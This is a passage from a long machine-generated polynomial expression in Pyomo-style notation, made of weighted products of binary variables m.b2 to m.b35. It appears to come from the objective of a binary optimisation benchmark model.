m.b15*m.b25*m.b26 + 64*m.b14*m.b15*m.b26*m.b27 + 576*m.b14*m.b15*m.b27*m.b28 + 512*m.b14*m.b15*
m.b28*m.b29 + 448*m.b14*m.b15*m.b29*m.b30 + 384*m.b14*m.b15*m.b30*m.b31 + 320*m.b14*m.b15*m.b31*
m.b32 + 256*m.b14*m.b15*m.b32*m.b33 + 192*m.b14*m.b15*m.b33*m.b34 + 128*m.b14*m.b15*m.b34*m.b35
+ 64*m.b14*m.b15*m.b35*m.b2 + 64*m.b14*m.b16*m.b17*m.b19 + 64*m.b14*m.b16*m.b18*m.b20 + 64*m.b14
*m.b16*m.b19*m.b21 + 64*m.b14*m.b16*m.b20*m.b22 + 64*m.b14*m.b16*m.b21*m.b23 + 64*m.b14*m.b16*
m.b22*m.b24 + 64*m.b14*m.b16*m.b23*m.b25 + 64*m.b14*m.b16*m.b24*m.b26 + 64*m.b14*m.b16*m.b25*
m.b27 + 576*m.b14*m.b16*m.b26*m.b28 + 512*m.b14*m.b16*m.b27*m.b29 + 448*m.b14*m.b16*m.b28*m.b30
+ 384*m.b14*m.b16*m.b29*m.b31 + 320*m.b14*m.b16*m.b30*m.b32 + 256*m.b14*m.b16*m.b31*m.b33 + 192*
m.b14*m.b16*m.b32*m.b34 + 128*m.b14*m.b16*m.b33*m.b35 + 64*m.b14*m.b16*m.b34*m.b2 + 64*m.b14*
m.b17*m.b18*m.b21 + 64*m.b14*m.b17*m.b19*m.b22 + 64*m.b14*m.b17*m.b20*m.b23 + 64*m.b14*m.b17*
m.b21*m.b24 + 64*m.b14*m.b17*m.b22*m.b25 + 64*m.b14*m.b17*m.b23*m.b26 + 64*m.b14*m.b17*m.b24*
m.b27 + 576*m.b14*m.b17*m.b25*m.b28 + 512*m.b14*m.b17*m.b26*m.b29 + 448*m.b14*m.b17*m.b27*m.b30
+ 384*m.b14*m.b17*m.b28*m.b31 + 320*m.b14*m.b17*m.b29*m.b32 + 256*m.b14*m.b17*m.b30*m.b33 + 192*
m.b14*m.b17*m.b31*m.b34 + 128*m.b14*m.b17*m.b32*m.b35 + 64*m.b14*m.b17*m.b33*m.b2 + 64*m.b14*
m.b18*m.b19*m.b23 + 64*m.b14*m.b18*m.b20*m.b24 + 64*m.b14*m.b18*m.b21*m.b25 + 64*m.b14*m.b18*
m.b22*m.b26 + 64*m.b14*m.b18*m.b23*m.b27 + 576*m.b14*m.b18*m.b24*m.b28 + 512*m.b14*m.b18*m.b25*
m.b29 + 448*m.b14*m.b18*m.b26*m.b30 + 384*m.b14*m.b18*m.b27*m.b31 + 320*m.b14*m.b18*m.b28*m.b32
+ 256*m.b14*m.b18*m.b29*m.b33 + 192*m.b14*m.b18*m.b30*m.b34 + 128*m.b14*m.b18*m.b31*m.b35 + 64*
m.b14*m.b18*m.b32*m.b2 + 64*m.b14*m.b19*m.b20*m.b25 + 64*m.b14*m.b19*m.b21*m.b26 + 64*m.b14*m.b19
*m.b22*m.b27 + 576*m.b14*m.b19*m.b23*m.b28 + 512*m.b14*m.b19*m.b24*m.b29 + 448*m.b14*m.b19*m.b25*
m.b30 + 384*m.b14*m.b19*m.b26*m.b31 + 320*m.b14*m.b19*m.b27*m.b32 + 256*m.b14*m.b19*m.b28*m.b33
+ 192*m.b14*m.b19*m.b29*m.b34 + 128*m.b14*m.b19*m.b30*m.b35 + 64*m.b14*m.b19*m.b31*m.b2 + 64*
m.b14*m.b20*m.b21*m.b27 + 576*m.b14*m.b20*m.b22*m.b28 + 512*m.b14*m.b20*m.b23*m.b29 + 448*m.b14*
m.b20*m.b24*m.b30 + 384*m.b14*m.b20*m.b25*m.b31 + 320*m.b14*m.b20*m.b26*m.b32 + 256*m.b14*m.b20*
m.b27*m.b33 + 192*m.b14*m.b20*m.b28*m.b34 + 128*m.b14*m.b20*m.b29*m.b35 + 64*m.b14*m.b20*m.b30*
m.b2 + 512*m.b14*m.b21*m.b22*m.b29 + 448*m.b14*m.b21*m.b23*m.b30 + 384*m.b14*m.b21*m.b24*m.b31 +
320*m.b14*m.b21*m.b25*m.b32 + 256*m.b14*m.b21*m.b26*m.b33 + 192*m.b14*m.b21*m.b27*m.b34 + 128*
m.b14*m.b21*m.b28*m.b35 + 64*m.b14*m.b21*m.b29*m.b2 + 384*m.b14*m.b22*m.b23*m.b31 + 320*m.b14*
m.b22*m.b24*m.b32 + 256*m.b14*m.b22*m.b25*m.b33 + 192*m.b14*m.b22*m.b26*m.b34 + 128*m.b14*m.b22*
m.b27*m.b35 + 64*m.b14*m.b22*m.b28*m.b2 + 256*m.b14*m.b23*m.b24*m.b33 + 192*m.b14*m.b23*m.b25*
m.b34 + 128*m.b14*m.b23*m.b26*m.b35 + 64*m.b14*m.b23*m.b27*m.b2 + 128*m.b14*m.b24*m.b25*m.b35 +
64*m.b14*m.b24*m.b26*m.b2 + 64*m.b15*m.b16*m.b17*m.b18 + 64*m.b15*m.b16*m.b18*m.b19 + 64*m.b15*
m.b16*m.b19*m.b20 + 64*m.b15*m.b16*m.b20*m.b21 + 64*m.b15*m.b16*m.b21*m.b22 + 64*m.b15*m.b16*
m.b22*m.b23 + 64*m.b15*m.b16*m.b23*m.b24 + 64*m.b15*m.b16*m.b24*m.b25 + 64*m.b15*m.b16*m.b25*
m.b26 + 64*m.b15*m.b16*m.b26*m.b27 + 64*m.b15*m.b16*m.b27*m.b28 + 512*m.b15*m.b16*m.b28*m.b29 +
448*m.b15*m.b16*m.b29*m.b30 + 384*m.b15*m.b16*m.b30*m.b31 + 320*m.b15*m.b16*m.b31*m.b32 + 256*
m.b15*m.b16*m.b32*m.b33 + 192*m.b15*m.b16*m.b33*m.b34 + 128*m.b15*m.b16*m.b34*m.b35 + 64*m.b15*
m.b16*m.b35*m.b2 + 64*m.b15*m.b17*m.b18*m.b20 + 64*m.b15*m.b17*m.b19*m.b21 + 64*m.b15*m.b17*m.b20
*m.b22 + 64*m.b15*m.b17*m.b21*m.b23 + 64*m.b15*m.b17*m.b22*m.b24 + 64*m.b15*m.b17*m.b23*m.b25 +
64*m.b15*m.b17*m.b24*m.b26 + 64*m.b15*m.b17*m.b25*m.b27 + 64*m.b15*m.b17*m.b26*m.b28 + 512*m.b15*
m.b17*m.b27*m.b29 + 448*m.b15*m.b17*m.b28*m.b30 + 384*m.b15*m.b17*m.b29*m.b31 + 320*m.b15*m.b17*
m.b30*m.b32 + 256*m.b15*m.b17*m.b31*m.b33 + 192*m.b15*m.b17*m.b32*m.b34 + 128*m.b15*m.b17*m.b33*
m.b35 + 64*m.b15*m.b17*m.b34*m.b2 + 64*m.b15*m.b18*m.b19*m.b22 + 64*m.b15*m.b18*m.b20*m.b23 + 64*
m.b15*m.b18*m.b21*m.b24 + 64*m.b15*m.b18*m.b22*m.b25 + 64*m.b15*m.b18*m.b23*m.b26 + 64*m.b15*
m.b18*m.b24*m.b27 + 64*m.b15*m.b18*m.b25*m.b28 + 512*m.b15*m.b18*m.b26*m.b29 + 448*m.b15*m.b18*
m.b27*m.b30 + 384*m.b15*m.b18*m.b28*m.b31 + 320*m.b15*m.b18*m.b29*m.b32 + 256*m.b15*m.b18*m.b30*
m.b33 + 192*m.b15*m.b18*m.b31*m.b34 + 128*m.b15*m.b18*m.b32*m.b35 + 64*m.b15*m.b18*m.b33*m.b2 +
64*m.b15*m.b19*m.b20*m.b24 + 64*m.b15*m.b19*m.b21*m.b25 + 64*m.b15*m.b19*m.b22*m.b26 + 64*m.b15*
m.b19*m.b23*m.b27 + 64*m.b15*m.b19*m.b24*m.b28 + 512*m.b15*m.b19*m.b25*m.b29 + 448*m.b15*m.b19*
m.b26*m.b30 + 384*m.b15*m.b19*m.b27*m.b31 + 320*m.b15*m.b19*m.b28*m.b32 + 256*m.b15*m.b19*m.b29*
m.b33 + 192*m.b15*m.b19*m.b30*m.b34 + 128*m.b15*m.b19*m.b31*m.b35 + 64*m.b15*m.b19*m.b32*m.b2 +
64*m.b15*m.b20*m.b21*m.b26 + 64*m.b15*m.b20*m.b22*m.b27 + 64*m.b15*m.b20*m.b23*m.b28 + 512*m.b15*
m.b20*m.b24*m.b29 + 448*m.b15*m.b20*m.b25*m.b30 + 384*m.b15*m.b20*m.b26*m.b31 + 320*m.b15*m.b20*
m.b27*m.b32 + 256*m.b15*m.b20*m.b28*m.b33 + 192*m.b15*m.b20*m.b29*m.b34 + 128*m.b15*m.b20*m.b30*
m.b35 + 64*m.b15*m.b20*m.b31*m.b2 + 64*m.b15*m.b21*m.b22*m.b28 + 512*m.b15*m.b21*m.b23*m.b29 +
448*m.b15*m.b21*m.b24*m.b30 + 384*m.b15*m.b21*m.b25*m.b31 + 320*m.b15*m.b21*m.b26*m.b32 + 256*
m.b15*m.b21*m.b27*m.b33 + 192*m.b15*m.b21*m.b28*m.b34 + 128*m.b15*m.b21*m.b29*m.b35 + 64*m.b15*
m.b21*m.b30*m.b2 + 448*m.b15*m.b22*m.b23*m.b30 + 384*m.b15*m.b22*m.b24*m.b31 + 320*m.b15*m.b22*
m.b25*m.b32 + 256*m.b15*m.b22*m.b26*m.b33 + 192*m.b15*m.b22*m.b27*m.b34 + 128*m.b15*m.b22*m.b28*
m.b35 + 64*m.b15*m.b22*m.b29*m.b2 + 320*m.b15*m.b23*m.b24*m.b32 + 256*m.b15*m.b23*m.b25*m.b33 +
192*m.b15*m.b23*m.b26*m.b34 + 128*m.b15*m.b23*m.b27*m.b35 + 64*m.b15*m.b23*m.b28*m.b2 + 192*m.b15
*m.b24*m.b25*m.b34 + 128*m.b15*m.b24*m.b26*m.b35 + 64*m.b15*m.b24*m.b27*m.b2 + 64*m.b15*m.b25*
m.b26*m.b2 + 64*m.b16*m.b17*m.b18*m.b19 + 64*m.b16*m.b17*m.b19*m.b20 + 64*m.b16*m.b17*m.b20*m.b21
+ 64*m.b16*m.b17*m.b21*m.b22 + 64*m.b16*m.b17*m.b22*m.b23 + 64*m.b16*m.b17*m.b23*m.b24 + 64*
m.b16*m.b17*m.b24*m.b25 + 64*m.b16*m.b17*m.b25*m.b26 + 64*m.b16*m.b17*m.b26*m.b27 + 64*m.b16*
m.b17*m.b27*m.b28 + 64*m.b16*m.b17*m.b28*m.b29 + 448*m.b16*m.b17*m.b29*m.b30 + 384*m.b16*m.b17*
m.b30*m.b31 + 320*m.b16*m.b17*m.b31*m.b32 + 256*m.b16*m.b17*m.b32*m.b33 + 192*m.b16*m.b17*m.b33*
m.b34 + 128*m.b16*m.b17*m.b34*m.b35 + 64*m.b16*m.b17*m.b35*m.b2 + 64*m.b16*m.b18*m.b19*m.b21 + 64
*m.b16*m.b18*m.b20*m.b22 + 64*m.b16*m.b18*m.b21*m.b23 + 64*m.b16*m.b18*m.b22*m.b24 + 64*m.b16*
m.b18*m.b23*m.b25 + 64*m.b16*m.b18*m.b24*m.b26 + 64*m.b16*m.b18*m.b25*m.b27 + 64*m.b16*m.b18*
m.b26*m.b28 + 64*m.b16*m.b18*m.b27*m.b29 + 448*m.b16*m.b18*m.b28*m.b30 + 384*m.b16*m.b18*m.b29*
m.b31 + 320*m.b16*m.b18*m.b30*m.b32 + 256*m.b16*m.b18*m.b31*m.b33 + 192*m.b16*m.b18*m.b32*m.b34
+ 128*m.b16*m.b18*m.b33*m.b35 + 64*m.b16*m.b18*m.b34*m.b2 + 64*m.b16*m.b19*m.b20*m.b23 + 64*
m.b16*m.b19*m.b21*m.b24 + 64*m.b16*m.b19*m.b22*m.b25 + 64*m.b16*m.b19*m.b23*m.b26 + 64*m.b16*
m.b19*m.b24*m.b27 + 64*m.b16*m.b19*m.b25*m.b28 + 64*m.b16*m.b19*m.b26*m.b29 + 448*m.b16*m.b19*
m.b27*m.b30 + 384*m.b16*m.b19*m.b28*m.b31 + 320*m.b16*m.b19*m.b29*m.b32 + 256*m.b16*m.b19*m.b30*
m.b33 + 192*m.b16*m.b19*m.b31*m.b34 + 128*m.b16*m.b19*m.b32*m.b35 + 64*m.b16*m.b19*m.b33*m.b2 +
64*m.b16*m.b20*m.b21*m.b25 + 64*m.b16*m.b20*m.b22*m.b26 + 64*m.b16*m.b20*m.b23*m.b27 + 64*m.b16*
m.b20*m.b24*m.b28 + 64*m.b16*m.b20*m.b25*m.b29 + 448*m.b16*m.b20*m.b26*m.b30 + 384*m.b16*m.b20*
m.b27*m.b31 + 320*m.b16*m.b20*m.b28*m.b32 + 256*m.b16*m.b20*m.b29*m.b33 + 192*m.b16*m.b20*m.b30*
m.b34 + 128*m.b16*m.b20*m.b31*m.b35 + 64*m.b16*m.b20*m.b32*m.b2 + 64*m.b16*m.b21*m.b22*m.b27 + 64
*m.b16*m.b21*m.b23*m.b28 + 64*m.b16*m.b21*m.b24*m.b29 + 448*m.b16*m.b21*m.b25*m.b30 + 384*m.b16*
m.b21*m.b26*m.b31 + 320*m.b16*m.b21*m.b27*m.b32 + 256*m.b16*m.b21*m.b28*m.b33 + 192*m.b16*m.b21*
m.b29*m.b34 + 128*m.b16*m.b21*m.b30*m.b35 + 64*m.b16*m.b21*m.b31*m.b2 + 64*m.b16*m.b22*m.b23*
m.b29 + 448*m.b16*m.b22*m.b24*m.b30 + 384*m.b16*m.b22*m.b25*m.b31 + 320*m.b16*m.b22*m.b26*m.b32
+ 256*m.b16*m.b22*m.b27*m.b33 + 192*m.b16*m.b22*m.b28*m.b34 + 128*m.b16*m.b22*m.b29*m.b35 + 64*
m.b16*m.b22*m.b30*m.b2 + 384*m.b16*m.b23*m.b24*m.b31 + 320*m.b16*m.b23*m.b25*m.b32 + 256*m.b16*
m.b23*m.b26*m.b33 + 192*m.b16*m.b23*m.b27*m.b34 + 128*m.b16*m.b23*m.b28*m.b35 + 64*m.b16*m.b23*
m.b29*m.b2 + 256*m.b16*m.b24*m.b25*m.b33 + 192*m.b16*m.b24*m.b26*m.b34 + 128*m.b16*m.b24*m.b27*
m.b35 + 64*m.b16*m.b24*m.b28*m.b2 + 128*m.b16*m.b25*m.b26*m.b35 + 64*m.b16*m.b25*m.b27*m.b2 + 64*
m.b17*m.b18*m.b19*m.b20 + 64*m.b17*m.b18*m.b20*m.b21 + 64*m.b17*m.b18*m.b21*m.b22 + 64*m.b17*
m.b18*m.b22*m.b23 + 64*m.b17*m.b18*m.b23*m.b24 + 64*m.b17*m.b18*m.b24*m.b25 + 64*m.b17*m.b18*
m.b25*m.b26 + 64*m.b17*m.b18*m.b26*m.b27 + 64*m.b17*m.b18*m.b27*m.b28 + 64*m.b17*m.b18*m.b28*
m.b29 + 64*m.b17*m.b18*m.b29*m.b30 + 384*m.b17*m.b18*m.b30*m.b31 + 320*m.b17*m.b18*m.b31*m.b32 +
256*m.b17*m.b18*m.b32*m.b33 + 192*m.b17*m.b18*m.b33*m.b34 + 128*m.b17*m.b18*m.b34*m.b35 + 64*
m.b17*m.b18*m.b35*m.b2 + 64*m.b17*m.b19*m.b20*m.b22 + 64*m.b17*m.b19*m.b21*m.b23 + 64*m.b17*m.b19
*m.b22*m.b24 + 64*m.b17*m.b19*m.b23*m.b25 + 64*m.b17*m.b19*m.b24*m.b26 + 64*m.b17*m.b19*m.b25*
m.b27 + 64*m.b17*m.b19*m.b26*m.b28 + 64*m.b17*m.b19*m.b27*m.b29 + 64*m.b17*m.b19*m.b28*m.b30 +
384*m.b17*m.b19*m.b29*m.b31 + 320*m.b17*m.b19*m.b30*m.b32 + 256*m.b17*m.b19*m.b31*m.b33 + 192*
m.b17*m.b19*m.b32*m.b34 + 128*m.b17*m.b19*m.b33*m.b35 + 64*m.b17*m.b19*m.b34*m.b2 + 64*m.b17*
m.b20*m.b21*m.b24 + 64*m.b17*m.b20*m.b22*m.b25 + 64*m.b17*m.b20*m.b23*m.b26 + 64*m.b17*m.b20*
m.b24*m.b27 + 64*m.b17*m.b20*m.b25*m.b28 + 64*m.b17*m.b20*m.b26*m.b29 + 64*m.b17*m.b20*m.b27*
m.b30 + 384*m.b17*m.b20*m.b28*m.b31 + 320*m.b17*m.b20*m.b29*m.b32 + 256*m.b17*m.b20*m.b30*m.b33
+ 192*m.b17*m.b20*m.b31*m.b34 + 128*m.b17*m.b20*m.b32*m.b35 + 64*m.b17*m.b20*m.b33*m.b2 + 64*
m.b17*m.b21*m.b22*m.b26 + 64*m.b17*m.b21*m.b23*m.b27 + 64*m.b17*m.b21*m.b24*m.b28 + 64*m.b17*
m.b21*m.b25*m.b29 + 64*m.b17*m.b21*m.b26*m.b30 + 384*m.b17*m.b21*m.b27*m.b31 + 320*m.b17*m.b21*
m.b28*m.b32 + 256*m.b17*m.b21*m.b29*m.b33 + 192*m.b17*m.b21*m.b30*m.b34 + 128*m.b17*m.b21*m.b31*
m.b35 + 64*m.b17*m.b21*m.b32*m.b2 + 64*m.b17*m.b22*m.b23*m.b28 + 64*m.b17*m.b22*m.b24*m.b29 + 64*
m.b17*m.b22*m.b25*m.b30 + 384*m.b17*m.b22*m.b26*m.b31 + 320*m.b17*m.b22*m.b27*m.b32 + 256*m.b17*
m.b22*m.b28*m.b33 + 192*m.b17*m.b22*m.b29*m.b34 + 128*m.b17*m.b22*m.b30*m.b35 + 64*m.b17*m.b22*
m.b31*m.b2 + 64*m.b17*m.b23*m.b24*m.b30 + 384*m.b17*m.b23*m.b25*m.b31 + 320*m.b17*m.b23*m.b26*
m.b32 + 256*m.b17*m.b23*m.b27*m.b33 + 192*m.b17*m.b23*m.b28*m.b34 + 128*m.b17*m.b23*m.b29*m.b35
+ 64*m.b17*m.b23*m.b30*m.b2 + 320*m.b17*m.b24*m.b25*m.b32 + 256*m.b17*m.b24*m.b26*m.b33 + 192*
m.b17*m.b24*m.b27*m.b34 + 128*m.b17*m.b24*m.b28*m.b35 + 64*m.b17*m.b24*m.b29*m.b2 + 192*m.b17*
m.b25*m.b26*m.b34 + 128*m.b17*m.b25*m.b27*m.b35 + 64*m.b17*m.b25*m.b28*m.b2 + 64*m.b17*m.b26*
m.b27*m.b2 + 64*m.b18*m.b19*m.b20*m.b21 + 64*m.b18*m.b19*m.b21*m.b22 + 64*m.b18*m.b19*m.b22*m.b23
+ 64*m.b18*m.b19*m.b23*m.b24 + 64*m.b18*m.b19*m.b24*m.b25 + 64*m.b18*m.b19*m.b25*m.b26 + 64*
m.b18*m.b19*m.b26*m.b27 + 64*m.b18*m.b19*m.b27*m.b28 + 64*m.b18*m.b19*m.b28*m.b29 + 64*m.b18*
m.b19*m.b29*m.b30 + 64*m.b18*m.b19*m.b30*m.b31 + 320*m.b18*m.b19*m.b31*m.b32 + 256*m.b18*m.b19*
m.b32*m.b33 + 192*m.b18*m.b19*m.b33*m.b34 + 128*m.b18*m.b19*m.b34*m.b35 + 64*m.b18*m.b19*m.b35*
m.b2 + 64*m.b18*m.b20*m.b21*m.b23 + 64*m.b18*m.b20*m.b22*m.b24 + 64*m.b18*m.b20*m.b23*m.b25 + 64*
m.b18*m.b20*m.b24*m.b26 + 64*m.b18*m.b20*m.b25*m.b27 + 64*m.b18*m.b20*m.b26*m.b28 + 64*m.b18*
m.b20*m.b27*m.b29 + 64*m.b18*m.b20*m.b28*m.b30 + 64*m.b18*m.b20*m.b29*m.b31 + 320*m.b18*m.b20*
m.b30*m.b32 + 256*m.b18*m.b20*m.b31*m.b33 + 192*m.b18*m.b20*m.b32*m.b34 + 128*m.b18*m.b20*m.b33*
m.b35 + 64*m.b18*m.b20*m.b34*m.b2 + 64*m.b18*m.b21*m.b22*m.b25 + 64*m.b18*m.b21*m.b23*m.b26 + 64*
m.b18*m.b21*m.b24*m.b27 + 64*m.b18*m.b21*m.b25*m.b28 + 64*m.b18*m.b21*m.b26*m.b29 + 64*m.b18*
m.b21*m.b27*m.b30 + 64*m.b18*m.b21*m.b28*m.b31 + 320*m.b18*m.b21*m.b29*m.b32 + 256*m.b18*m.b21*
m.b30*m.b33 + 192*m.b18*m.b21*m.b31*m.b34 + 128*m.b18*m.b21*m.b32*m.b35 + 64*m.b18*m.b21*m.b33*
m.b2 + 64*m.b18*m.b22*m.b23*m.b27 + 64*m.b18*m.b22*m.b24*m.b28 + 64*m.b18*m.b22*m.b25*m.b29 + 64*
m.b18*m.b22*m.b26*m.b30 + 64*m.b18*m.b22*m.b27*m.b31 + 320*m.b18*m.b22*m.b28*m.b32 + 256*m.b18*
m.b22*m.b29*m.b33 + 192*m.b18*m.b22*m.b30*m.b34 + 128*m.b18*m.b22*m.b31*m.b35 + 64*m.b18*m.b22*
m.b32*m.b2 + 64*m.b18*m.b23*m.b24*m.b29 + 64*m.b18*m.b23*m.b25*m.b30 + 64*m.b18*m.b23*m.b26*m.b31
+ 320*m.b18*m.b23*m.b27*m.b32 + 256*m.b18*m.b23*m.b28*m.b33 + 192*m.b18*m.b23*m.b29*m.b34 + 128*
m.b18*m.b23*m.b30*m.b35 + 64*m.b18*m.b23*m.b31*m.b2 + 64*m.b18*m.b24*m.b25*m.b31 + 320*m.b18*
m.b24*m.b26*m.b32 + 256*m.b18*m.b24*m.b27*m.b33 + 192*m.b18*m.b24*m.b28*m.b34 + 128*m.b18*m.b24*
m.b29*m.b35 + 64*m.b18*m.b24*m.b30*m.b2 + 256*m.b18*m.b25*m.b26*m.b33 + 192*m.b18*m.b25*m.b27*
m.b34 + 128*m.b18*m.b25*m.b28*m.b35 + 64*m.b18*m.b25*m.b29*m.b2 + 128*m.b18*m.b26*m.b27*m.b35 +
64*m.b18*m.b26*m.b28*m.b2 + 64*m.b19*m.b20*m.b21*m.b22 + 64*m.b19*m.b20*m.b22*m.b23 + 64*m.b19*
m.b20*m.b23*m.b24 + 64*m.b19*m.b20*m.b24*m.b25 + 64*m.b19*m.b20*m.b25*m.b26 + 64*m.b19*m.b20*
m.b26*m.b27 + 64*m.b19*m.b20*m.b27*m.b28 + 64*m.b19*m.b20*m.b28*m.b29 + 64*m.b19*m.b20*m.b29*
m.b30 + 64*m.b19*m.b20*m.b30*m.b31 + 64*m.b19*m.b20*m.b31*m.b32 + 256*m.b19*m.b20*m.b32*m.b33 +
192*m.b19*m.b20*m.b33*m.b34 + 128*m.b19*m.b20*m.b34*m.b35 + 64*m.b19*m.b20*m.b35*m.b2 + 64*m.b19*
m.b21*m.b22*m.b24 + 64*m.b19*m.b21*m.b23*m.b25 + 64*m.b19*m.b21*m.b24*m.b26 + 64*m.b19*m.b21*
m.b25*m.b27 + 64*m.b19*m.b21*m.b26*m.b28 + 64*m.b19*m.b21*m.b27*m.b29 + 64*m.b19*m.b21*m.b28*
m.b30 + 64*m.b19*m.b21*m.b29*m.b31 + 64*m.b19*m.b21*m.b30*m.b32 + 256*m.b19*m.b21*m.b31*m.b33 +
192*m.b19*m.b21*m.b32*m.b34 + 128*m.b19*m.b21*m.b33*m.b35 + 64*m.b19*m.b21*m.b34*m.b2 + 64*m.b19*
m.b22*m.b23*m.b26 + 64*m.b19*m.b22*m.b24*m.b27 + 64*m.b19*m.b22*m.b25*m.b28 + 64*m.b19*m.b22*
m.b26*m.b29 + 64*m.b19*m.b22*m.b27*m.b30 + 64*m.b19*m.b22*m.b28*m.b31 + 64*m.b19*m.b22*m.b29*
m.b32 + 256*m.b19*m.b22*m.b30*m.b33 + 192*m.b19*m.b22*m.b31*m.b34 + 128*m.b19*m.b22*m.b32*m.b35
+ 64*m.b19*m.b22*m.b33*m.b2 + 64*m.b19*m.b23*m.b24*m.b28 + 64*m.b19*m.b23*m.b25*m.b29 + 64*m.b19
*m.b23*m.b26*m.b30 + 64*m.b19*m.b23*m.b27*m.b31 + 64*m.b19*m.b23*m.b28*m.b32 + 256*m.b19*m.b23*
m.b29*m.b33 + 192*m.b19*m.b23*m.b30*m.b34 + 128*m.b19*m.b23*m.b31*m.b35 + 64*m.b19*m.b23*m.b32*
m.b2 + 64*m.b19*m.b24*m.b25*m.b30 + 64*m.b19*m.b24*m.b26*m.b31 + 64*m.b19*m.b24*m.b27*m.b32 + 256
*m.b19*m.b24*m.b28*m.b33 + 192*m.b19*m.b24*m.b29*m.b34 + 128*m.b19*m.b24*m.b30*m.b35 + 64*m.b19*
m.b24*m.b31*m.b2 + 64*m.b19*m.b25*m.b26*m.b32 + 256*m.b19*m.b25*m.b27*m.b33 + 192*m.b19*m.b25*
m.b28*m.b34 + 128*m.b19*m.b25*m.b29*m.b35 + 64*m.b19*m.b25*m.b30*m.b2 + 192*m.b19*m.b26*m.b27*
m.b34 + 128*m.b19*m.b26*m.b28*m.b35 + 64*m.b19*m.b26*m.b29*m.b2 + 64*m.b19*m.b27*m.b28*m.b2 + 64*
m.b20*m.b21*m.b22*m.b23 + 64*m.b20*m.b21*m.b23*m.b24 + 64*m.b20*m.b21*m.b24*m.b25 + 64*m.b20*
m.b21*m.b25*m.b26 + 64*m.b20*m.b21*m.b26*m.b27 + 64*m.b20*m.b21*m.b27*m.b28 + 64*m.b20*m.b21*
m.b28*m.b29 + 64*m.b20*m.b21*m.b29*m.b30 + 64*m.b20*m.b21*m.b30*m.b31 + 64*m.b20*m.b21*m.b31*
m.b32 + 64*m.b20*m.b21*m.b32*m.b33 + 192*m.b20*m.b21*m.b33*m.b34 + 128*m.b20*m.b21*m.b34*m.b35 +
64*m.b20*m.b21*m.b35*m.b2 + 64*m.b20*m.b22*m.b23*m.b25 + 64*m.b20*m.b22*m.b24*m.b26 + 64*m.b20*
m.b22*m.b25*m.b27 + 64*m.b20*m.b22*m.b26*m.b28 + 64*m.b20*m.b22*m.b27*m.b29 + 64*m.b20*m.b22*
m.b28*m.b30 + 64*m.b20*m.b22*m.b29*m.b31 + 64*m.b20*m.b22*m.b30*m.b32 + 64*m.b20*m.b22*m.b31*
m.b33 + 192*m.b20*m.b22*m.b32*m.b34 + 128*m.b20*m.b22*m.b33*m.b35 + 64*m.b20*m.b22*m.b34*m.b2 +
64*m.b20*m.b23*m.b24*m.b27 + 64*m.b20*m.b23*m.b25*m.b28 + 64*m.b20*m.b23*m.b26*m.b29 + 64*m.b20*
m.b23*m.b27*m.b30 + 64*m.b20*m.b23*m.b28*m.b31 + 64*m.b20*m.b23*m.b29*m.b32 + 64*m.b20*m.b23*
m.b30*m.b33 + 192*m.b20*m.b23*m.b31*m.b34 + 128*m.b20*m.b23*m.b32*m.b35 + 64*m.b20*m.b23*m.b33*
m.b2 + 64*m.b20*m.b24*m.b25*m.b29 + 64*m.b20*m.b24*m.b26*m.b30 + 64*m.b20*m.b24*m.b27*m.b31 + 64*
m.b20*m.b24*m.b28*m.b32 + 64*m.b20*m.b24*m.b29*m.b33 + 192*m.b20*m.b24*m.b30*m.b34 + 128*m.b20*
m.b24*m.b31*m.b35 + 64*m.b20*m.b24*m.b32*m.b2 + 64*m.b20*m.b25*m.b26*m.b31 + 64*m.b20*m.b25*m.b27
*m.b32 + 64*m.b20*m.b25*m.b28*m.b33 + 192*m.b20*m.b25*m.b29*m.b34 + 128*m.b20*m.b25*m.b30*m.b35
+ 64*m.b20*m.b25*m.b31*m.b2 + 64*m.b20*m.b26*m.b27*m.b33 + 192*m.b20*m.b26*m.b28*m.b34 + 128*
m.b20*m.b26*m.b29*m.b35 + 64*m.b20*m.b26*m.b30*m.b2 + 128*m.b20*m.b27*m.b28*m.b35 + 64*m.b20*
m.b27*m.b29*m.b2 + 64*m.b21*m.b22*m.b23*m.b24 + 64*m.b21*m.b22*m.b24*m.b25 + 64*m.b21*m.b22*m.b25
*m.b26 + 64*m.b21*m.b22*m.b26*m.b27 + 64*m.b21*m.b22*m.b27*m.b28 + 64*m.b21*m.b22*m.b28*m.b29 +
64*m.b21*m.b22*m.b29*m.b30 + 64*m.b21*m.b22*m.b30*m.b31 + 64*m.b21*m.b22*m.b31*m.b32 + 64*m.b21*
m.b22*m.b32*m.b33 + 64*m.b21*m.b22*m.b33*m.b34 + 128*m.b21*m.b22*m.b34*m.b35 + 64*m.b21*m.b22*
m.b35*m.b2 + 64*m.b21*m.b23*m.b24*m.b26 + 64*m.b21*m.b23*m.b25*m.b27 + 64*m.b21*m.b23*m.b26*m.b28
+ 64*m.b21*m.b23*m.b27*m.b29 + 64*m.b21*m.b23*m.b28*m.b30 + 64*m.b21*m.b23*m.b29*m.b31 + 64*
m.b21*m.b23*m.b30*m.b32 + 64*m.b21*m.b23*m.b31*m.b33 + 64*m.b21*m.b23*m.b32*m.b34 + 128*m.b21*
m.b23*m.b33*m.b35 + 64*m.b21*m.b23*m.b34*m.b2 + 64*m.b21*m.b24*m.b25*m.b28 + 64*m.b21*m.b24*m.b26
*m.b29 + 64*m.b21*m.b24*m.b27*m.b30 + 64*m.b21*m.b24*m.b28*m.b31 + 64*m.b21*m.b24*m.b29*m.b32 +
64*m.b21*m.b24*m.b30*m.b33 + 64*m.b21*m.b24*m.b31*m.b34 + 128*m.b21*m.b24*m.b32*m.b35 + 64*m.b21*
m.b24*m.b33*m.b2 + 64*m.b21*m.b25*m.b26*m.b30 + 64*m.b21*m.b25*m.b27*m.b31 + 64*m.b21*m.b25*m.b28
*m.b32 + 64*m.b21*m.b25*m.b29*m.b33 + 64*m.b21*m.b25*m.b30*m.b34 + 128*m.b21*m.b25*m.b31*m.b35 +
64*m.b21*m.b25*m.b32*m.b2 + 64*m.b21*m.b26*m.b27*m.b32 + 64*m.b21*m.b26*m.b28*m.b33 + 64*m.b21*
m.b26*m.b29*m.b34 + 128*m.b21*m.b26*m.b30*m.b35 + 64*m.b21*m.b26*m.b31*m.b2 + 64*m.b21*m.b27*
m.b28*m.b34 + 128*m.b21*m.b27*m.b29*m.b35 + 64*m.b21*m.b27*m.b30*m.b2 + 64*m.b21*m.b28*m.b29*m.b2
+ 64*m.b22*m.b23*m.b24*m.b25 + 64*m.b22*m.b23*m.b25*m.b26 + 64*m.b22*m.b23*m.b26*m.b27 + 64*
